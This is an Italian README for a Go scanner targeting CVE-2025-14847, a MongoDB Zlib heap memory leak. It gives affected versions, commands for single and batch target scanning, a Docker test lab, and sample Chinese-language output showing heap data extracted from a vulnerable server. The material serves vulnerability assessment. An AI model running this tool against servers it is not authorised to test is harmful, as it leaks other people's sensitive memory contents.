
Strumento di rilevamento della vulnerabilità di perdita di memoria di MongoDB (CVE-2025-14847)
Strumento di rilevamento della vulnerabilità di perdita di memoria di MongoDB (CVE-2025-14847)
⚠️ Nota importante: questo strumento è destinato esclusivamente a test di sicurezza autorizzati e valutazione delle vulnerabilità. L'uso non autorizzato può violare la legge.
CVE-2025-14847 è una grave vulnerabilità di perdita di memoria nella gestione del protocollo di compressione Zlib di MongoDB. Un attaccante può inviare pacchetti compressi appositamente costruiti, facendo sì che MongoDB restituisca dati di memoria heap non inizializzati, che possono contenere informazioni sensibili.
| Intervallo di versioni | Stato |
|---|---|
| 8.2.0 - 8.2.2 | ⚠️ Vulnerabile |
| 8.0.0 - 8.0.16 | ⚠️ Vulnerabile |
| 7.0.0 - 7.0.27 | ⚠️ Vulnerabile |
| 6.0.0 - 6.0.26 | ⚠️ Vulnerabile |
| 5.0.0 - 5.0.31 | ⚠️ Vulnerabile |
| 4.4.0 - 4.4.29 | ⚠️ Vulnerabile |
| 4.2.x tutte le versioni | ⚠️ Vulnerabile |
| 4.0.x tutte le versioni | ⚠️ Vulnerabile |
| 3.6.x tutte le versioni | ⚠️ Vulnerabile |
# Clona il repository
git clone https://github.com/onewinner/CVE-2025-14847.git
cd CVE-2025-14847
# Installa le dipendenze
go mod download
# Compila
go build -o mongodb-scanner main.go
# Esegui
./mongodb-scanner -t 127.0.0.1:27017
go run main.go -t 127.0.0.1:27017
Visita la pagina Releases per scaricare la versione precompilata adatta al tuo sistema.
# Scansione di un singolo target
./mongodb-scanner -t 127.0.0.1:27017
# Scansione batch da file
./mongodb-scanner -f targets.txt
# Scansione batch (20 thread)
./mongodb-scanner -f targets.txt -c 20
# Scansione e salvataggio dei target vulnerabili
./mongodb-scanner -f targets.txt -o vulnerable.txt
# Intervallo di offset personalizzato (scansione più rapida o più profonda)
./mongodb-scanner -t 127.0.0.1:27017 --min-offset 20 --max-offset 1000
| Parametro | Descrizione | Valore predefinito |
|---|---|---|
-t <target> | Singolo target (es: 127.0.0.1:27017) | - |
-f <file> | File dei target (un target per riga) | - |
-c <num> | Numero di thread concorrenti | 10 |
-timeout <time> | Timeout di connessione | 2s |
-o <file> | File di output (salva i target vulnerabili) | - |
--min-offset <num> | Offset minimo della lunghezza del documento | 20 |
--max-offset <num> | Offset massimo della lunghezza del documento | 8192 |
Crea un file targets.txt:
# Elenco dei target MongoDB
127.0.0.1:27017
192.168.1.100:27017
mongodb.example.com:27017
# Se non si specifica la porta, viene utilizzata la 27017 predefinita
192.168.1.101
Per testare questo strumento in sicurezza, si consiglia di utilizzare Docker per configurare un ambiente di test locale.
# Avvia MongoDB 6.0.14 (versione vulnerabile) con compressione Zlib abilitata
docker run -d \
--name mongodb-vulnerable \
-p 27017:27017 \
mongo:6.0.14 \
--networkMessageCompressors snappy,zlib
# Controlla lo stato del container
docker ps
# Test della vulnerabilità
./mongodb-scanner -t 127.0.0.1:27017
Crea un file docker-compose.yml:
version: '3.8'
services:
# Versione vulnerabile (con Zlib abilitato)
mongodb-vulnerable:
image: mongo:6.0.14
container_name: mongodb-vulnerable
ports:
- "27017:27017"
command: mongod --networkMessageCompressors snappy,zlib
# Versione corretta (per test comparativi)
mongodb-patched:
image: mongo:6.0.27
container_name: mongodb-patched
ports:
- "27018:27017"
command: mongod --networkMessageCompressors snappy,zlib
volumes:
mongodb-data:
mongodb-patched-data:
Avvia l'ambiente di test:
# Avvia tutti i container
docker-compose up -d
# Test della versione vulnerabile
./mongodb-scanner -t 127.0.0.1:27017
# Test della versione corretta
./mongodb-scanner -t 127.0.0.1:27018
# Arresta e pulisci
docker-compose down -v
# Arresta ed elimina i container
docker stop mongodb-vulnerable && docker rm mongodb-vulnerable
# Pulisci i volumi dati
docker volume prune -f
Lo strumento utilizza prefissi uniformi per contrassegnare le informazioni di output:
[*] - Output informativo (target, versione, configurazione, ecc.)[+] - Successo / vulnerabile / dati estratti[-] - Errore / sicuro / nessuna vulnerabilità[!] - Avviso / nota importante╔══════════════════════════════════════════════════════════════╗
║ MongoDB CVE-2025-14847 漏洞检测工具 ║
╚══════════════════════════════════════════════════════════════╝
⚠️ 仅用于授权安全测试 | 未经授权测试可能违法
[*] 目标: 1 | 线程: 10 | 超时: 2s | 偏移: 20-1000
[*] 开始扫描...
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[+] Zlib压缩: 已开启
[!] 漏洞可利用,开始提取内存...
[+] 偏移=229 长度=250: :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",
[+] 127.0.0.1:27017 - 漏洞可利用 (v6.0.14) - 3468ms
[+] 成功提取 1 项内存数据:
[1] :00\"},\"s\":\"I\", \"c\":\"NETWORK\", \"id\":22944, \"ctx\":\"conn102932\",\"msg\":\"Connection ended\",\"attr\":{\"remote\":\"172.17.0.1:44936\"...
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 1 | 安全: 0 | 耗时: 3.4s
======================================================================
[*] 目标: 127.0.0.1:27018
[*] 版本: 6.0.27
[-] 漏洞版本: 否
[-] 127.0.0.1:27018 - 版本安全 (v6.0.27) - 156ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.2s
======================================================================
[*] 目标: 127.0.0.1:27017
[*] 版本: 6.0.14
[+] 漏洞版本: 是
[-] Zlib压缩: 未开启
[-] 127.0.0.1:27017 - 未开启Zlib (v6.0.14) - 234ms
======================================================================
[*] 扫描完成 | 总数: 1 | 可利用: 0 | 安全: 1 | 耗时: 0.3s
======================================================================